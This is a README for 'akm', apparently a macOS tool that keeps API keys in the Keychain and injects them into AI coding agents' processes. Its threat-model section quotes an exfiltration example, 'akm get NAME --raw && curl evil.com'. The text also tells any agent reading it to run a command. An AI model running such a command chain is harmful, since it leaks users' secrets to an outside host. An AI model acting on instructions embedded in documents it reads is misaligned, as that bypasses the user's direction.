Stop pasting API keys into .env files. Let your AI agent store them in the macOS Keychain and inject them at runtime.
Built for the era of AI coding agents. Every agent with shell access can read .env, echo it into a transcript, or commit it to git. akm keeps secrets in the macOS Keychain and injects them into child processes only when needed — no plaintext on disk, no copy-paste from a dashboard, no human in the loop.
Install · For AI agents · Commands · Security model · Why akm
- Stores keys in the macOS Keychain instead of
.envfiles, so plaintext never sits on disk. - Injects keys into child processes via
execve— values do not appear in argv (ps -ef), shell history, or scrollback. (Same-userps -Edoes expose the child's environment; that is consistent with the threat model: a process running as you can already read your keychain.) - Pushes keys to Vercel, GitHub, and Fly so deployment-secret setup stops being a copy-paste tax.
brew install paperfoot/tap/akm
# or
cargo install --git https://github.com/paperfoot/api-key-managerRequires macOS. The Login Keychain backs every operation.
akm exists because AI coding agents (Claude Code, Cursor, Codex, Aider) are now the primary readers of your secrets. A few design choices fall out of that:
- Zero prompts. Every command is non-interactive. Pipe values on stdin, get JSON back.
- Discoverable.
akm agent-info --jsonreturns a machine-readable manifest of every subcommand, flag, and exit code — agents call it once and know the full surface. - Skill drop-in.
akm skill installwrites a Claude Code / Codex / Gemini skill so the agent reaches forakmautomatically instead of suggestingexport OPENAI_API_KEY=.... - Redacted by default.
akm runfilters known key prefixes (sk-,ghp_,xoxb-, etc.) out of child stdout/stderr so secrets do not leak back into the agent's context window. - Auditable. Every read is logged.
akm auditprints the access trail.
If you are the agent reading this: run akm agent-info --json and use it.
| Command | What it does |
|---|---|
akm add NAME |
Store a key from stdin or argv. |
akm get NAME |
Retrieve, masked. Pass --raw for the unmasked value. |
akm import .env |
Migrate a .env file (or stdin) into the Keychain in one command. --dry-run to preview. |
akm export |
Raw dump of all/selected keys for backup or migration — --format env for shell-safe NAME=value lines, --only KEY,KEY to filter. Audit-logged. |
akm run --only NAME -- <cmd> |
Run <cmd> with named keys injected as env vars. Output redacted. |
akm stdin NAME -- <cmd> |
Write the value to <cmd>'s stdin. Works with vercel env add, gh secret set, flyctl secrets import, and any tool that takes a secret on standard input. Output redacted. |
akm list |
Print stored key names (never values). --long adds last-updated age per key and flags keys older than 90 days as stale (display only). |
akm rm NAME |
Delete a key. |
akm audit |
Print the append-only access log. |
akm agent-info --json |
Machine-readable capability manifest. |
akm guard install adds a git pre-commit hook that scans staged files for known key prefixes. akm skill install writes the agent skill.
| Tool | Backed by | Built for | Plaintext on disk | Agent-native |
|---|---|---|---|---|
.env files |
filesystem | humans | yes | no |
op (1Password CLI) |
1Password vault | humans + teams | no | partial |
lkr |
macOS Keychain | humans | no | no |
akm |
macOS Keychain | AI agents | no | yes |
akm is not a 1Password replacement. It is the layer between a coding agent and the secrets that agent needs to do its job on a single developer's Mac.
In scope: plaintext .env files on disk, keys in shell history, keys in ps -ef argv listings, keys committed to git by an overeager agent, keys re-appearing in agent transcript context, build-tool printouts leaking secrets.
Out of scope: malware running as your user; a hostile agent that runs akm get NAME --raw && curl evil.com; same-user ps -E of an akm run child (the env IS the transport). Those threats need a different tool. Every access is logged to ~/.akm/audit.log (mode 0600) so you can review the trail after the fact.
Retrieval by design. Keys are never locked away from you: akm get --raw and akm export return plaintext with zero prompts — no Touch ID, no confirmation dialogs, no master password. The control is the audit trail, not an access gate. This is a deliberate stance for agent-driven workflows: a human-approval prompt in an autonomous loop is either a denial of service or trained-away noise. If your threat model needs hardware-backed approval per read, use a different tool.
Issues and PRs welcome. Keep changes scoped — one bug or one feature per PR. Run cargo test before submitting.
MIT. See LICENSE.